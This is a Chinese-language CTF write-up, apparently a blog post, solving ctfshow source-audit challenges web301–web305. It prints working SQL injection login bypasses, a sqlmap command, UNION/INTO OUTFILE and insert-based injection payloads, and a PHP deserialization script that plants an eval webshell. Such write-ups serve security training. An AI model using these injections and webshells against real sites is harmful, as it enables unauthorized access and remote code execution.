ctfshow 源码审计 web301--web305

web301

在checklogin.php 发现了

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录

mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录

在这里插入图片描述然后我们就伪造了密码,就可以进行登录了

username:
-1' union select 1#
password:
1
sqlmap
python .\sqlmap.py -u "http://fddf2115-423b-4701-b77b-8ef5f2194ee7.challenge.ctf.show:8080/" --form --batch --dump
userid=a' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"%23&userpwd=1
然后访问shell.php再rce

web302

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
改变的地方
<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>
这里$str随便命令,相应的把密码改了就行了
userid:
-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
userpass:
1

web303

在文件里面就看到了

if(strlen($username)>6){
	die();
}

然后就没看到啥了
也没看到

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
这里使用insert注入

在这里插入图片描述

在dptadd.php注入
dpt_name=-1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

dpt_name=-1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#

dpt_name=-1',sds_address=(select flag from sds_fl9g)#

web304

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}
正则过滤了这些东西,那么

做法与上题一样,没啥区别,不知道过滤的啥

web305

多了这一段

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

而且还在fun.php里面多了

function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}
?>

利用序列化写个小马

<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}
$a=new user('1.php','<?php eval($_POST[1]);?>');
echo urlencode(serialize($a));

?>

在corn.php中发现远程SQL

$mysqluser="root";
$mysqlpwd="root";
$mysqldb="sds";
$mysqlhost="localhost";
$mysqlport="3306";

找了好久终于知道怎么用antsword链接数据库了,右击数据管理
在这里插入图片描述我还在这里写注入语句,我真傻逼
在这里插入图片描述

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值